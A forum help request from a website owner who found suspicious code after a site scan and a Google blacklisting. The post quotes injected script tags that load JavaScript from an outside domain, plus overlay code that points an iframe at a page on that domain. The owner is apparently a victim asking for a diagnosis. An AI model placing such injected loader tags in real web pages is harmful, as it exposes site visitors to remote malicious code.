Seems I've been having more than one issue lately. Thank you to all of you who provide help on this forum to dummies like me!

Here is an odd line of text/link that shows up when I run a website scan with a website like Sucuri:

http://hopeforhornofafrica.org/teGfbsdd.php?id=60027871...
http://hopeforhornofafrica.org/teGfbsdd.php?id=60027872...

It also shows up in firebug on line 118 of the script:

}
var overlayDiv = document.getElementById('gw_overlay');
toggleEmbeds(0);
var mainDiv = document.getElementById('gw_main');
mainDiv.style.display = 'block';
var arrayPageSize = getPageSize();
overlayDiv.style.height = (arrayPageSize[1] + 'px');
if (navigator.appName == 'Microsoft Internet Explorer') {
overlayDiv.style.width = (arrayPageSize[0] + 'px');
}
overlayDiv.style.display = 'block';
document.getElementById('gw_iframe').style.display = '';
document.getElementById('gw_iframe').src = 'http://hopeforhornofafrica.org/img/gwframe.html';
if (unscroll_time > 0) {
unscroll();
}


and also again on line 293

<div class="tnSpacer" style="height:20px"></div>
<script src="http://hopeforhornofafrica.org/teGfbsdd.php?id=60027871" type="text/javascript"></script> </div>

and finally on line 320:

</script><script src="http://hopeforhornofafrica.org/teGfbsdd.php?id=60027872" type="text/javascript"></script>
</body>
</html>

This all looks suspicious to me, but what am I looking at here. Any ideas? I was blacklisted by google a few days ago, but it appears that has been resolved (fixed by my host).